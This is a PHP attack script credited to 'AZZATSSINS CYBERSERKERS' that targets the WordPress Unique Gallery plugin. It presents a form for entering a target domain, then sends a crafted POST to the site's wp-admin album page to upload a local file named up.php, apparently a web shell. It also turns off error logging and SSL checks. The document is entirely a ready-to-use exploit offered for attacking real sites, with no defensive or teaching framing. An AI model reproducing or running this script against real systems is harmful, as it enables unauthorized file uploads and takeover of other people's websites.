WP Unique Gallery (CSRF)

<?php
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
/*
Name app : Wordpress Unique Gallery (AFU)
Author / Editor Script : AZZATSSINS CYBERSERKERS
Email : [email protected]
*/
echo"<title>WordPress Unique Gallery AFU</title><center>
<body bgcolor=silver><u><i><b><h1>&copy; AZZATSSINS CYBERSERKERS</h1>
</b></i></u><br>
    <form method='post'>
    Domain: <br>
    <textarea placeholder='http://www.target.com/' name='url' style='width: 500px; height: 20px;'></textarea><br>
    <input type='submit' name='azzatssins' value='Fuck it...!'>
    </form>";
    $site = $_POST['url'];
if($_POST['azzatssins']) {
echo "<br><u><b>Target : ".$site."</b></u><br>";
$post = array(
"task" => "cpr_add_new_album",
"album_name" => "AZZATSSINS",
"album_desc" => "AZZATSSINS",
"album_img" => "@up.php",
);
$ch = curl_init ("$site/wp-admin/admin.php?page=unique_manage");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
}
?>